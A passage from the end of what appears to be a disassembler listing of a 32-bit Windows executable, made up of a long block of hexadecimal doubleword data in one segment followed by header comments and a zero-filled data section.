		dd 4213A8C6h, 251628D3h, 0BB06391Eh, 0C74E1BFCh, 4DD64966h
		dd 0ABDC2E0Bh, 3F25DE89h, 0F838DB29h, 0AAED4Fh,	8248F43Ah
		dd 8D055855h, 0C48274CCh, 73C39BA1h, 0BA10352Eh, 3A90A084h
		dd 0B1FFB120h, 4648D923h, 9161F1DAh, 2E359E22h,	0B57EC138h
		dd 8EA65BFh, 93F74C61h,	33D81B82h, 0E122995Ch, 43FFCA01h
		dd 59471E1Ah, 0B668ABAFh, 0DA62B291h, 2F9FE8F3h, 6F0E00B8h
		dd 0A94C3ADEh, 30146593h, 9838AAA1h, 41BA4B80h,	4356FAE4h
		dd 206F7E0Ah, 6B250D41h, 0E6377B1Ch, 0DA6ABCBCh, 0B7DB58B9h
		dd 4B1AA84Fh, 7C1237D0h, 0E5912AF3h, 368F4EAFh,	4FD000ACh
		dd 625DB7BAh, 2B7189CCh, 0D3B7E208h, 1B32010Dh,	132185Fh
		dd 0CF66B880h, 608BECEBh, 40223D5h, 34E8084Bh, 4B7BFF0Eh
		dd 471F2E51h, 2D7EF15Bh, 8BA613D3h, 0A1264B99h,	98518133h
		dd 55C08EAh, 0DEE12763h, 1F4A40E5h, 4E9C5945h, 0C8583A7Dh
		dd 952D858h, 1F9B36B4h,	7D547377h, 118E8D7Ch, 2CF0D250h
		dd 19F2173Fh, 9C94D2EDh, 0AC6C4A4Ah, 8DBE4730h,	9B9088F1h
		dd 5D72691Fh, 1C0A5C9Ah, 29AA41B6h, 11BA2439h, 74AACA79h
		dd 69BC1699h, 69838C79h, 0AFAD8346h, 27A16671h,	1C6E2B6h
		dd 0C79A9E24h, 0A3D72F82h, 0A7B703C2h, 9E0AF376h, 99A3D2h
		dd 1C1B6491h, 8487D463h, 48D0CBD9h, 0BC37E00Bh,	81BE062Eh
		dd 0F7E22F79h, 8813DE6Fh, 6A67711Fh, 0C5946817h, 807F2A63h
		dd 5174F04h, 0CDA8150Ch, 6CC90D8Ch, 2181BFBh, 8EB98699h
		dd 5316E21h, 0C877F023h, 0C24DBD52h, 0E1CF4332h, 2D22B12Bh
		dd 877102B7h, 54B4CEFEh, 0ADD38A8h, 752B4C9Ch, 0D9F329ECh
		dd 77024C6Dh, 0D9F5FED4h, 9C1E4FD1h, 1D0C9486h,	0B1C1B480h
		dd 7240CABh, 0EC0D046Bh, 63DA120Ch, 0D47A17B3h,	0D229F1ECh
		dd 8F98D37Dh, 91A7024Bh, 89151689h, 0BE36922Eh,	0B270A8A4h
		dd 347E072Bh, 6E00422Ah, 0B10FB621h, 5C5AC122h,	2B0AE165h
		dd 9C8A4607h, 2EB8CC87h, 0A255153Ah, 0BB7BBF51h, 0C139314Fh
		dd 0C135E4A6h, 0DC558969h, 47B63BFDh, 496413C3h, 0A880C046h
		dd 8191DBE5h, 772CD5Bh,	0EFEC1DFFh, 1C56775Eh, 0D5FB2A93h
		dd 865E7115h, 33B4A4B7h, 0F4BCD3A0h, 0E9DA99B3h, 862096F5h
		dd 0ED1AB2E9h, 18DEFFAAh, 0B814326Eh, 40E7B29Ah, 0AA99FAF1h
		dd 4210DC9Dh, 47DCC930h, 6F9493AEh, 4F4127h, 231AD412h
		dd 24972075h, 7D4F942h,	0C004A4A4h, 8C0310Dh, 57ACA47Ch
		dd 0A8AAEE5Fh, 79461E79h, 0FD53B414h, 4EA497B1h, 0EF8BE59Dh
		dd 0BC2D95B9h, 15E3E24Ch, 7FA079DAh, 1812D319h,	199D71D8h
		dd 9A018D41h, 0DB1D0C06h, 0AD996A4Eh, 0DE392A84h, 854EF55Ah
		dd 0AE64F53Eh, 3D16DA38h, 5431D91Dh, 0C6DCD7Dh,	9148A3B1h
		dd 26F85ACh, 0AC6E8344h, 0F2D9D0BFh, 1481EAA5h,	0C509BFCDh
		dd 7D1DB28Dh, 7593996Bh, 850881EDh, 0F620FA41h,	418F49CAh
		dd 1B561A1Ch, 3E92BDC2h, 8F24BF60h, 136A085h, 319395DDh
		dd 4B5F8DE3h, 0F2FFD2DBh, 0D8B45A3Eh, 0D3CAC9F5h, 8C40368Ch
		dd 0D41B1B19h, 8838C9B1h, 44876A3Dh, 68CC1327h,	0B37DEA3h
		dd 9A34F03Ah, 0AB91E6A8h, 0B7C43715h, 0D6590258h, 0B136DE34h
		dd 0F93C9645h, 0B29593A6h, 92B46579h, 44458DD7h, 91058608h
		dd 0C59FA5AEh, 809EAC7Ch, 0F3816541h, 3EB6B6ABh, 9CA35DBEh
		dd 4A3F3F13h, 3B2E46D3h, 3DB5BF2Ah, 0B36F7Dh, 0D76EB67h
		dd 93354CCDh, 0AB3AAA19h, 645338A0h, 0B6928A9Dh, 0FF5BE06Ch
		dd 0D1039C18h, 0F7210F5Dh, 7986BBA6h, 0C91EF256h, 68016392h
		dd 2A6A4204h, 0E4C9677Eh, 324DE9FDh, 0ADD1F7E0h, 92A68F48h
		dd 6B84C845h, 3C4C958h,	0E930AF92h, 8F9AA11Bh, 464C1EB2h
		dd 0CACBA3CEh, 0A24D4940h, 8E52F772h, 5A734AD3h, 0F0173557h
		dd 56F1AED2h, 0C761DFE5h, 20311C51h, 0B8AC929Dh, 440E59C2h
		dd 1CE9458Bh, 0D02360B0h
		dd 1CDE3A93h, 35AC658h,	0DAF98E0h, 328A21D2h, 99D95AE6h
		dd 813E2934h, 5CF284Ch,	3850C009h, 8DF4FD15h, 0B64A0C87h
		dd 56F6533h, 77BD3D32h,	0B3593AABh, 1EEAA923h, 0F70D4227h
		dd 0A2D89D15h, 0B348318Fh, 0BCA0EF4Ch, 1C9D777Bh, 15618AF4h
		dd 523BDD8Ch, 0F5BF3E09h, 321CBCA7h, 91EA6C9h, 0B0700600h
		dd 4A97A351h, 9E697FDBh, 0D090F97Fh, 0BD720727h, 3DA5ED1Bh
		dd 0C66FDD79h, 681EBB1Eh, 3F7E4461h, 0C7102FC3h, 216F79ADh
		dd 0AEA106Ah, 0DD4C4A9Dh, 190A66CAh, 6309970Eh,	2AB131A9h
		dd 0F76A0602h, 253B3DBAh, 337A7FF7h, 0E8013B2Ch, 0D6B72B72h
		dd 8BD7C69h, 0BC06783Dh, 0BCC99021h, 8BA58AD8h,	23493FE5h
		dd 0B8463A61h, 0A108894Eh, 485E840Eh, 2A2984EEh, 0E29D650Ch
		dd 4D121913h, 0DEA8EE86h, 1466302h, 0ED403A0Ch,	7467285Ah
		dd 0A7125518h, 3A8DC071h, 836DB24Eh, 0A72E12D9h, 1C1D3F0h
		dd 448D24E7h, 34D67BA9h, 42560478h, 1FD80DD9h, 2AD0A6E0h
		dd 0F01A998Dh, 97D32DD3h, 6218C5B8h, 0D903D860h, 0FAD8CC42h
		dd 0B935E54h, 141A832Fh, 98B5BDECh, 0BFEE966Fh,	0B3BA3E50h
		dd 53147235h, 0C46307A7h, 0E3740E09h, 62CC44B5h, 92754876h
		dd 200DF1CEh, 14929F1Ah, 7B869003h, 1664A3A4h, 0A1B115EEh
		dd 0DB20C0Dh, 8F36414Eh, 59F91AA6h, 273DC8B5h, 0EC99136Ch
		dd 45BF374h, 0D5A479Dh,	0D38EC013h, 0A2AA4DAh, 0BA94D184h
		dd 0D26FFF9Ch, 0B73331C4h, 3076BF27h, 0C79C55B0h, 64DFDADFh
		dd 4ABA6F26h, 60E50280h, 33C81E32h, 6103536Fh, 0BC096F3Dh
		dd 137545E8h, 75EB070h,	0AAA37B7Ah, 9697FC03h, 0DA6AB03Fh
		dd 0F9F1BE77h, 5D57AF2Eh, 48FCECA5h, 82C4E383h,	0CB78715Bh
		dd 689F8B20h, 1EC0DE12h, 0FA3648E3h, 0BDF053B6h, 9AFB8D87h
		dd 0B8412958h, 22FF67A5h, 8F2D3321h, 4DA931C8h,	9C24ABDCh
		dd 0D76AD161h, 79667412h, 8FAB54A1h, 9958A933h,	9A7FDFF5h
		dd 0BD45AC03h, 559C10C2h, 0F46C35E9h, 702270A1h, 0D30B67D2h
		dd 81733965h, 0F5ACBC3Bh, 1F0E1F2h, 55C25666h, 0C5BD3C6Dh
		dd 8343AA91h, 0AAB5E95Bh, 0BD38CCF9h, 4007A123h, 9A531929h
		dd 0B59CDB7h, 0E04B2A57h, 548CAAEBh, 0A653DDCEh, 0E68093C1h
		dd 0B93D2CDFh, 4AD4AFB6h, 0FC102340h, 0D142E44Bh, 0FF36983Ah
		dd 294F4221h, 1154ECA3h, 5C22C9FCh, 0A171304Fh,	0E3EF9740h
		dd 5BB05311h, 0FAD6E5C4h, 0B36D705h, 0BD2C86F5h, 2847B015h
		dd 644A555Ah, 0D32C1361h, 3FD90053h, 0BE397C18h, 6B1CCFD5h
		dd 71538E4Ah, 1BFD54C3h, 7EEF0D9Ch, 2E4CDCDDh, 19AA6E0Bh
		dd 0DB7919CFh, 66AFEC5Bh, 5D118A1Eh, 0BDEB6ACBh, 0CEC804C9h
		dd 47B34028h, 0C3527C54h, 7F8ACB93h, 0DB4CC1CFh, 9FB3A71Dh
		dd 71B690CFh, 7A5C4A42h, 0A109AE6h, 0A34B326Ch,	39AEC6D6h
		dd 0AD42E32Ch, 22DA5FE2h, 0F861DCA1h, 7A8A3C48h, 64A9741Ch
		dd 0E6470E8Fh, 67FC0E9Eh, 718DE47Eh, 0E14A44DEh, 0FB7CCE56h
		dd 93C7EF0Fh, 0C3B34F3Dh, 0EFD071E7h, 0B65CFD5Ah, 1CA3B5CBh
		dd 681A3CF2h, 2E023F1Ch, 6EDCBE68h, 0EC0FA432h,	3EB3C25Eh
		dd 0CD116F9h, 442D43FDh, 7D38DFCAh, 4100B0B6h, 3D9EF41Eh
		dd 82078BB1h, 6387E727h, 0B1A4E95Ch, 0DD9D617Fh, 5C08120Bh
		dd 67BFB0EEh, 40F92F9h,	0CDA511ADh, 276C0174h, 0F5FC8B0Bh
		dd 9FC7A342h, 0C7B80666h, 103E0BC2h, 0BB36F3CFh, 1A18C471h
		dd 0AE438F61h, 0A060FA28h, 99A6CCD2h, 9FBC8998h, 345E53AAh
		dd 0EED58D88h, 0BC0ABFCFh, 0A7086E0Bh, 0A7327112h, 0D45A605h
		dd 1B0A9C17h, 0B6DB4B08h, 2C95D02Ah, 23E0298Eh,	45C67579h
		dd 57C46591h, 0AF2C0980h, 3B00E411h, 7E8BD90Fh,	6B0630B7h
		dd 0C27DFD4Ah, 873BC1E2h, 2692AC4h, 0DA3661Ah, 0EADF98B5h
		dd 0CC2952DDh, 47BE3D19h, 0E74EFD65h, 0D67E538Dh, 1B6C3C73h
		dd 0CB040F3Ah, 0ECF3C140h, 0ACA22FD1h, 3A0D1AEDh, 0DB1BDC44h
		dd 38491CF7h, 0F74B7B1Ch, 1CB09618h, 7CE29E5Dh,	81ED6678h
		dd 8C2B489Ah, 4189E19Ah, 89230BF0h, 58866440h, 1F311701h
		dd 0AF3ED4DEh, 599BFA74h, 0DE8E40EAh, 35E291EBh, 190FDAFFh
		dd 16E25BC4h, 0F59AE81Ah, 0C139D300h, 0E8B8BA8Ch, 0A2F5530Fh
		dd 0E3C511F2h, 0E9BBA2D2h, 32BBA633h, 0FC9A123Fh, 1163C744h
		dd 4FC65CFh, 9BF55DF2h,	0C03F9833h, 3ABF9530h, 287A609Fh
		dd 6828D003h, 4EE1E1C0h, 0C3FE4980h, 8B76739Eh,	98E4C486h
		dd 98EB01C7h, 0CED4A843h, 0EE7FDB26h, 84E61710h, 10F3125Bh
		dd 0B2695FC6h, 9E10726Dh, 6F73E4B0h, 5ECA303Ah,	38295C46h
		dd 60EA01D0h, 2AE7D99Dh, 0D2244B20h, 5EECCD0h, 0A0EB4397h
		dd 313E6A35h, 5A762724h, 3BE75B4Eh, 0DFE5218Eh,	0E0B99621h
		dd 9A3DAD63h, 6099EF45h, 164799Ch, 85A7CA76h, 0A697970Bh
		dd 0C883962Ch, 80D0CE4h, 0D8AFC034h, 0EEB48D6Ah, 0E823E1BBh
		dd 3F042022h, 1218D440h, 7DF3EC92h, 4C34DDCAh, 6640E7B5h
		dd 6D2958E0h, 6F1E7464h, 42927618h, 50E25968h, 0C8A681CCh
		dd 1B5A5E3Fh, 2D0FEA4Dh, 0A8CCC339h, 1BDD7716h,	6D0E0E85h
		dd 0F352CE48h, 721EAB18h, 86C94E52h, 82D8C8Ch, 24D4CE14h
		dd 0D177CB4Ch, 0F06DF980h, 46B3109h, 418122D3h,	29D188C0h
		dd 70809B84h, 792D68DEh, 0C2BDE65Dh, 639CBC6Dh,	0F9EEF1C2h
		dd 456B0062h, 0B0F92BF6h, 57527111h, 4198871Bh,	18E415C8h
		dd 87A34040h, 0DF920433h, 0B3FB3212h, 7BB0EDFDh, 0FAC1CBA7h
		dd 5117CCAh, 81569E7h, 0B0A425C4h, 6E62B2A4h, 2A8EFF45h
		dd 1ED0C9C0h, 66A28EC4h, 974B1F80h, 6567B0C9h, 0BE8660B8h
		dd 0A79ECF01h, 8D322CECh, 0C339F2B6h, 3F195E67h, 0E7234FFAh
		dd 8BC66EA6h, 0F760E5E2h, 0F7DAF52Ah, 45B652EEh, 4739B211h
		dd 0DA9C6D25h, 0DC074D49h, 0DF15BA16h, 1B6BD174h, 7F24DBE3h
		dd 95DAE5DEh, 0C4C573C3h, 0C7D5A786h, 0BB96E6C3h, 0AB85C3FAh
		dd 2C1EE9CEh, 0E0855BF6h, 459047C6h, 7DCEC121h,	0BE2283DFh
		dd 0FD4C713Bh, 7767986Dh, 6FEF1E3Ch, 3238FE21h,	2E0665Ch
		dd 0FC0FC41Fh, 0D7A97F76h, 5498D192h, 0D6E7AAE6h, 59FEEA8Dh
		dd 0B21FC227h, 92C52C8Ch, 512F4FD7h, 0DA90023h,	635801FFh
		dd 0FF273A81h, 321B1A16h, 45D1EEE0h, 0FD363FE0h, 3983810Ch
		dd 0A6FD2866h, 0B0FC1406h, 8D2DFD64h, 719F27C4h, 0FDD1D023h
		dd 0BD39FCBEh, 94FC047Ah, 9B3D7D7Dh, 286C6EF1h,	6563961Bh
		dd 84EB3B8Fh, 17D23128h, 0A77B7DA0h, 7578268Dh,	6A4ED2ABh
		dd 6AFF560Bh, 577165E4h, 0C8607D37h, 6152BBFBh,	806A93Fh
		dd 447503B1h, 69B92B57h, 0EE8612F1h, 3BCDD94Ah,	15163F31h
		dd 0F1F0F8Dh, 0DCD92189h, 0E35CAA67h, 0D9F7CA34h, 31D393C9h
		dd 3AB5FC9Dh, 447C6D96h, 4A445687h, 5303F17Ah, 0C276EEE3h
		dd 0CAFCF744h, 3A5DE6FCh, 0E16711B8h, 66ED47D1h, 5DEA3866h
		dd 441E6CD6h, 0B6445CB1h, 3746C14h, 0DBA4E6F8h,	97615292h
		dd 91407959h, 0D49BEE10h, 1CDCD2A3h, 0C06E166Ah, 0A0538AB0h
		dd 14993492h, 9E93A95Bh, 0CB7E1575h, 0C9CDD6A6h, 3562DAB8h
		dd 1E72D4A1h, 371377C8h, 17CB104Fh, 1B5EFE2Ch, 5724FBD2h
		dd 208ED8E7h, 3D61B65Fh, 85044FD6h, 0C366AE28h,	0A211B205h
		dd 5C306800h, 493E0344h, 91D1152Ah, 681DBD17h, 0EFA33330h
		dd 0B83E0617h, 2CA2D449h, 0E0A20E11h, 92F73A5Bh, 0D8D0375Ch
		dd 3A629771h, 0D1A9AE14h, 886C3924h, 0D0DB1352h, 0D1195F2Dh
		dd 3288C06Ch, 0A3F25C5Bh
		dd 0C224D0F2h, 0C9CF20Fh, 1B7327D6h, 0B5116595h, 4B07A199h
		dd 7AB15CC4h, 4C2687B7h, 0CE26CB62h, 0B91EEF06h, 0A28F24CAh
		dd 70C8EAFCh, 0F035BB96h, 42863F3Ah, 0CE592671h, 5CC39B2Ch
		dd 2EC5345Eh, 87C25FE7h, 636E3B3Fh, 0CC2FBD4Eh,	4EAF13h
		dd 0F524E7AFh, 5C90C7B5h, 513AEB58h, 0F6AF33Fh,	507D5DF7h
		dd 63F8BACAh, 62F3B10Fh, 137D83D9h, 0DDA0BEBEh,	4E2A07CFh
		dd 0E2A15020h, 7E67AE08h, 624F9F08h, 0D13A3531h, 7DADE903h
		dd 6992D5Ch, 0BC965A49h, 4AE4BB04h, 0BF1111A1h,	1F72852Dh
		dd 8D4CAF62h, 0EE6CBECAh, 4864600Bh, 0C1A3D91Ch, 0E9B03A2Ch
		dd 0E00AD349h, 4E390E3Ah, 934E1E15h, 81517AA7h,	0A7924B32h
		dd 6A3A6E42h, 7D9180F0h, 488AE49Eh, 0D7F6C430h,	0F3763A6Fh
		dd 6ECBDE17h, 9E5E9E94h, 0D831E241h, 56C4748Ch,	4CE083DCh
		dd 7D363D40h, 286F71DBh, 0EF5025ABh, 0E72103DDh, 0EB55BC7Fh
		dd 55DF8290h, 48DC8A08h, 72EB5F2h, 1190CBABh, 8EAC8675h
		dd 32A10049h, 129225FEh, 23292AAh, 99E9EE40h, 0E4F6FE15h
		dd 0F52FD853h, 92A47B1Ah, 6E27843Dh, 79C66DE5h,	7EBB6A2Bh
		dd 0BDD20942h, 0A919C73Dh, 0BA5D95D5h, 0EC79406Fh, 0F8ADD735h
		dd 0F973E850h, 9BA8A45Bh, 0BBB838E4h, 0D4160829h, 85C42F8Ah
		dd 470A8h, 0ECB6D57Bh, 0FA7BD295h, 0FF83ACF9h, 6EE1179Ah
		dd 997291D7h, 61BB36CDh, 383EB871h, 9DE99129h, 0E6973121h
		dd 10C6BB6Ch, 0BE4AAB01h, 0B2B1EF1h, 35959AA5h,	20F70646h
		dd 0C418FE26h, 0A81719CBh, 0F6134174h, 0E4FAC6CEh, 4114AEBDh
		dd 3BD0EE89h, 0B40FCBB6h, 8CADA83h, 757B9C63h, 1AC036Bh
		dd 38A46DCAh, 0AFF71766h, 114FA76Eh, 0C25C4F85h, 0FA3CB1B3h
		dd 0F132C061h, 8ACBAA24h, 0D0637838h, 12240E59h, 7D5FEB9Bh
		dd 0CEA6318Eh, 61BBEFB8h, 0C8A2Ch, 5F53F864h, 0C2B95BDFh
		dd 6913942Ah, 0B404F0D3h, 0B1AF0E17h, 4C7C4CD0h, 17191AB1h
		dd 0C787B830h, 4253CD85h, 5A138AF1h, 1E18F187h,	10E28C2Fh
		dd 485F7D77h, 57E52175h, 862A44A5h, 0B41D248Eh,	0ADCBC09Dh
		dd 68D3AE71h, 0A44C39C3h, 665828E5h, 0F9EECA93h, 0B18835A9h
		dd 24AFBDF3h, 6826E248h, 3F5A729Fh, 0BE584ED9h,	0C2586DC9h
		dd 0A8595A39h, 0BAE2BA7Dh, 731CD8B4h, 7DFC0874h, 79934FFh
		dd 3F862441h, 95A8EADEh, 86E17E0h, 0CAE2486Dh, 7266DA98h
		dd 27D4F04h, 1F922825h,	0DEBEE9BDh, 0B46FAD93h,	0BEF687F5h
		dd 0E0AEEA49h, 0F2634BA2h, 53DE83Fh, 59D1247Fh,	7B570186h
		dd 25146707h, 218E87F7h, 0D61B4BFDh, 5473BEFBh,	0EAC9654Ah
		dd 0D7C83C36h, 0DB4A8366h, 57102757h, 0DAE5C59Dh, 5A7CB9C8h
		dd 0EBFBE8B3h, 4129468Dh, 0F9E16670h, 2CA11D85h, 0A6C45E12h
		dd 70A816CAh, 0DC9FCB76h, 0E98C67F6h, 442B21A0h, 8076798Dh
		dd 0A2758BD9h, 0EDE3E57Dh, 6D58404h, 27899E2Eh,	0BA7A8F92h
		dd 9174F6F4h, 7AD07D5h,	4A7ADC03h, 796D396Fh, 0CD73BA5Ch
		dd 0C3A13E5Eh, 797C0105h, 940A08E7h, 0CD103F23h, 5E2AA231h
		dd 13E06BD0h, 0EC94B3Dh, 0F0B6455Eh, 0A31D332Dh, 0FE957B84h
		dd 0D9D5415Eh, 26B2DC82h, 598EE1Fh, 75570558h, 0C57994ECh
		dd 0CE115054h, 9B016D61h, 86DAA954h, 8BE7BCBAh,	0E3967A35h
		dd 0CE6666A6h, 0EB7A6429h, 7B4BC04Eh, 0EA07C017h, 0A3F36D30h
		dd 5805A84h, 9872DD82h,	0BDA9ABCDh, 6E94B9FDh, 42D04BEAh
		dd 0FA8A7645h, 1D959FFFh, 38F317F5h, 17CA7802h,	0E92E86E5h
		dd 0E4570FCh, 350DA034h, 0DADACE69h, 0BDA5E12Fh, 0F1EB9332h
		dd 948CC801h, 20649BD5h, 70F37635h, 0DE0B1B56h,	948A00B6h
		dd 76241165h, 0B09EEC52h, 0EE6EBCEFh, 0E22E8EE7h, 4FD203B3h
		dd 1EF2017Ah, 0A994F0FAh, 8763E171h, 1B595DC1h,	4C8D1C9Fh
		dd 99E0F710h, 0C687D61Bh, 0AF4CF9D6h, 577201A2h, 0AA49512Fh
		dd 382CCDF2h, 0E5CDB070h, 0A4D4E15h, 463D9AA5h,	0B60BC078h
		dd 50AA22BEh, 52992130h, 44894D51h, 0F2C3E238h,	0E5639F47h
		dd 7AD4C285h, 0F9DFFD74h, 369E689Fh, 0DFD67E67h, 0A99C28B4h
		dd 69C3C30h, 0F008C751h, 10115DD3h, 9280A704h, 0F267753Ch
		dd 0B8C33DFCh, 6A6BE2B9h, 0BAEEED32h, 813C8A9Bh, 19B88B6Fh
		dd 16093FE3h, 14004AC0h, 66064944h, 0C6E9CCC8h,	5145D91Ah
		dd 7E4D9AFEh, 0FC09794Dh, 0C6074551h, 9D830929h, 0B4BB4255h
		dd 3DC51789h, 23A8DA0Ah, 0B7554FE0h, 72E7FFBBh,	92F58F17h
		dd 56627FDCh, 0A21224h,	6E61AC5Ah, 8350829Ah, 2A0E444Eh
		dd 90994F8Ah, 0BB4DAE52h, 71C8CAA4h, 882417E3h,	2E340D5h
		dd 40ACD897h, 5830EC59h, 0D1336F44h, 0E5CEC32Ch, 7E1F3F97h
		dd 0AF4BDFCDh, 407F716Ah, 82B22FEFh, 0DC2CF0DCh, 0A830982Fh
		dd 48CB24A1h, 27F0862Ah, 11B81766h, 91935A4Eh, 0B1B23609h
		dd 6A631F82h, 0F99EFD93h, 38CA0B6Bh, 0CDAF932Dh, 0A817DF91h
		dd 49AB9EE7h, 5807E20Ah, 5AB01155h, 41CEAA2Ah, 0C8326556h
		dd 3779F4ECh, 9C8374C5h, 0A3F06C09h, 0AD4E046Ah, 13D858Dh
		dd 30C2A873h, 54B7A1CEh, 4BFC1BF1h, 75C74030h, 3DF57AA6h
		dd 0FEEF1072h, 0B895CFB4h, 177FFDh, 4D6h dup(0)
seg001		ends

; Section 3. (virtual address 000A2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000A1200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4A2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start